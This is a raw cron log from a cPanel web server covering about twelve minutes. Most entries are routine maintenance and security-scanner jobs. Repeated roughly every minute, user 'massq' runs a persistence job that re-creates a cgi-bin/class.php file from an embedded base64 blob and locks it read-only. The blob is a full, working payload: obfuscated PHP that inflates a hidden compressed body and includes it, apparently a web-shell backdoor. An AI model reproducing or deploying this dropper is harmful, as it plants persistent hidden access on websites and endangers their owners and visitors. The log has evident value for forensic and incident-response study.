Sep  3 01:30:01 server CROND[31534]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:31:01 server CROND[32347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:31:01 server CROND[32348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:31:01 server CROND[32349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:32:01 server CROND[358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:32:01 server CROND[359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:32:01 server CROND[360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:33:01 server CROND[779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:33:01 server CROND[780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:33:01 server CROND[781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:34:01 server CROND[1230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:34:01 server CROND[1231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:34:01 server CROND[1232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:35:01 server CROND[1642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 01:35:01 server CROND[1649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:35:01 server CROND[1648]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 01:35:01 server CROND[1651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:35:01 server CROND[1654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:35:01 server CROND[1653]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:35:01 server CROND[1655]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 01:35:01 server CROND[1656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:35:01 server CROND[1650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:36:01 server CROND[2522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:36:01 server CROND[2523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:36:01 server CROND[2524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:37:01 server CROND[3021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:37:01 server CROND[3022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:37:01 server CROND[3023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:38:01 server CROND[3406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:38:01 server CROND[3407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:38:01 server CROND[3408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:39:01 server CROND[3792]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 01:39:01 server CROND[3793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:39:01 server CROND[3795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:39:01 server CROND[3794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:40:01 server CROND[4193]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:40:01 server CROND[4196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:40:01 server CROND[4200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:40:01 server CROND[4203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:40:01 server CROND[4197]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 01:40:01 server CROND[4202]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:40:01 server CROND[4199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:40:01 server CROND[4201]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:41:01 server CROND[5044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:41:01 server CROND[5043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:41:01 server CROND[5045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:42:01 server CROND[5512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:42:01 server CROND[5513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:42:01 server CROND[5511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:42:01 server CROND[5514]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
